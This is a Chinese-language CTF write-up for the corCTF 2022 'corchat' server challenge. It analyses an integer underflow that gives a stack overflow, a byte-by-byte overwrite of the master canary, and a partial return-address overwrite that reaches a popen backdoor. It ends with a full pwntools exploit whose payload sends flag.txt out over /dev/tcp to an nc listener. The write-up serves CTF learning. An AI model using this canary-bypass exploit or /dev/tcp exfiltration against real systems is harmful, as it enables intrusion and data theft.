来自corctf2022的一道corchat。当时是六月份,就顾着培训了,都没有来得及好好看看题目。听说这道题比较好就来学习一下。这道题难度不高,但是很有意思。和之前刚接触的一道覆盖$fs_base
的题目是一样的想法。(后来才知道,原来这种方式叫做覆盖master canary,在多线程题目里面还挺常用的)
源码分析
出题方给了我们源代码非常nice。有高质量CTF比赛的水准。事实上题目也出的挺好的。
server.cpp
简单分析发现server创建了两个线程,一个用来监听新的连接(主线程),另一个用来处理之前已经连接过的线程发送的消息等内容。这个server的逻辑是
- 接受至多四个socket的连接
- 对于每一个socket发送的消息,将会广播到所有socket
- 注意这个里面的
Recv()
和Send()
和现实中是反过来的,实际上分别是server端的发送和接受。这个只要仔细看一下代码也可以明白。
文件保护全开,并且没有给libc。意味着可能是栈方面的漏洞,并且不仅是简单的触发。
对于client\server类型的题目,我接触的并不多,但是大部分都会提供源码,并且很有意思。之前有一个coroutine的hack,当时比赛也没有做出来,也是很有意思的题目,改天可以把它补上,在这里写一下。
vuln
我们重点关注下面几个函数。send()
是发送给每个client的一个包装函数。这里会输出msg的内容,想到是否能够输出canary。
1 2 3 4 5 6 7
| int Crusader::SendMsg(const char *msg, size_t msg_len, int8_t sender_id) { if (sender_id == -1) return send(this->m_sock_fd, msg, msg_len, 0); std::cout << msg << std::endl; return send(this->m_sock_fd, msg, msg_len, 0); }
|
在RecvMessage
中,存在一个还算是比较明显的整数溢出的漏洞。经过调试发现第18行的大小检查完全是没用的(因为是无符号数)。第17行修改了len
,而len
是我们可控的,并且是无符号数。由于sizeof(msg_buf.flags)
恒为2.因此如果我们一开始发送的长度为1,那么就可以溢出,写0xffff
和字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| std::string Crusader::RecvMessage() { std::string msg = ""; cor_msg_buf msg_buf;
memset(msg_buf.buffer, '\x00', sizeof(msg_buf.buffer));
if (read(this->m_sock_fd, &msg_buf.len, sizeof(msg_buf.len)) <= 0) return msg;
if (msg_buf.len >= sizeof(msg_buf.buffer) || msg_buf.len == 0) return msg;
if (read(this->m_sock_fd, &msg_buf.flags, sizeof(msg_buf.flags)) <= 0) return msg;
msg_buf.len -= sizeof(msg_buf.flags); if (msg_buf.len <= 0) return msg;
if (read(this->m_sock_fd, msg_buf.buffer, msg_buf.len) <= 0) return msg;
msg_buf.buffer[msg_buf.len] = '\x00'; msg += msg_buf.buffer;
return msg; }
|
但是事情并不是那么简单。首先通过调试发现,尽管能写入0xffff
个字符,我们并不能覆盖到libc,只能覆盖到libc里面不可写的地方。
这意味着我们任意地址写不能管用。其次,还需要应对canary
。事实上,早在2015年就有一位研究人员(他当时才16岁…惭愧)提出了多线程下(不是多线程其实也可以)覆盖master canary的方法。事实上,就是去写$fs_base
对应的canary的内容。但是可能你会觉得,那写了master canary,异或的结果不是还是非0吗?这就是这道题的巧妙之处:我们不仅能写master canary,还能写本地栈的canary。这样每次修改一个byte,就能在八次情况下绕过canary的检查。
绕过canary
注意到上面的代码中,我们还有一个任意地址写0的操作。是因为当我们覆盖完下面结构体的buffer
之后,还能接着覆盖后面的len
。从而控制一个到和当前buffer距离0到0xffff
的地方写入一个0。
1 2 3 4 5 6 7 8
| typedef struct { char buffer[1024]; uint16_t flags; uint16_t len; } cor_msg_buf;
msg_buf.buffer[msg_buf.len] = '\x00';
|
诶,想到master canary
(我太菜了,没想到)事实上master canary一般是在libc之上,比较接近libc的一块区域。我们在能对libc附近读写之后可以考虑写master canary。然后一看距离,发现确实是在可控范围之内的。和buffer的偏移是3448。
因此我们的思路可以是:
- 通过整数溢出修改可写字节长度为0xffff
- 在溢出同时,写len字段来给canary写0,同时溢出控制本地栈的canary末尾也是0
- 重复八次(注意每次中间需要sleep,否则会出问题)
之后就能得到一个全为0的fs:0x28了。
getshell
在绕过canary之后,我们可以考虑泄露。实际上结合sendMsg
发消息的逻辑,只要控制溢出连带输出libc上面的一些libc地址就能够完成获取libc偏移了。但是这道题给了我们一个后门函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| void DoAdmin(const char *cmd, int8_t fd) { FILE *p; char c;
p = popen(cmd, "r"); if (p == NULL) { std::cout << "Something went wrong spawning the process!" << std::endl; return; }
while (feof(p) == false) { fread(&c, sizeof(c), 1, p); if (send(fd, &c, sizeof(c), 0) <= 0) break; }
pclose(p); }
|
这里的popen()实际上和system()类似,都会启动一个新的进程。但是我们无法直接调用它(因为也要输出code的偏移)。但是很巧妙的是,我们可以通过partial write来处理。注意在RecvCrusaderMessages
中,有以下代码片段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ... else if (strcmp(buffer, "GETSTATUS") == 0 && cur_crusader->is_admin == true) { DoAdmin("top -n 1", cur_crusader->m_sock_fd); } else if (strcmp(buffer, "_SEND_MSG") == 0) { msg = cur_crusader->RecvMessage(); if (msg == "") continue;
if (ctx->m_connected_crusaders > 1) ctx->BroadcastMsg(cur_crusader, msg.c_str(), msg.length(), true); } ...
|
这使得我们覆盖上面第八行RecvMessage
的返回地址之后,距离第四行doAdmin
的距离很近(很巧妙,不过泄露libc也可以)并且不用爆破一位就可以完成。如下所示。注意到上面call doAdmin
的末尾和当前ret的末尾相差只有一个byte。所以只需要覆盖一位即可。
多线程调试
因为这道题调试的时候需要跳到子线程,参考这篇文章编写以下脚本,就可以完成调试。
1 2 3 4 5
| gdb_script = """ thread 2 (到第二个线程,使用info threads查看线程) set scheduler-locking on (防止切换) brva 0x6216 """
|
下面是info threads
的输出。可以看到还是能很明显的看出线程之间的对应关系的。主线程一直卡在accept
的地方。如果不用多线程调试会发现一直卡在这里。
info threads
exp
exp里面使用了反向shell来传递信息。因为bash好像没法打印==。反向shell创建方法nc -lvnp 50000
先开启监听,之后换一个终端运行脚本就能在之前的shell上看到输出的消息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * import socket import time filename="./corchat_server" libc_name="/lib/x86_64-linux-gnu/libc.so.6"
context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux','split','-hp','60']
io = process(['./corchat_server','9999'])
s = socket.socket() host = socket.gethostname() port = 9999
time.sleep(1)
s.connect((host, port)) print(s.recv(1024))
bias_master_canary = 3448
gdb.attach(io,"brva 0x60B2")
def overwrite_master_canary(i): change_name = "_SEND_MSG" s.send(change_name.encode()) s.send(b'\x01\x00') s.send(b'\x00\x00') s.send(b"a"*(1024)+p16(0)+p16(bias_master_canary+i)+b'\x00'*(5+i)) print(i) time.sleep(1)
for i in range(1,8): overwrite_master_canary(i)
gdb_script = """ thread 2 set scheduler-locking on brva 0x6216 """
payload_catflag = b"/bin/bash -c 'cat ./flag.txt > /dev/tcp/0.0.0.0/50000'\x00" change_name = "_SEND_MSG"
payload = change_name.encode() + b'\x01\x00' + b'\x00\x00' +payload_catflag+b'a'*(1024-len(payload_catflag))+p16(0)+p16(bias_master_canary+2)+b'\x00'*(5+7+16) + p64(0xdeadbeef)+b'\x11' s.send(payload)
io.interactive()
|
本地测试结果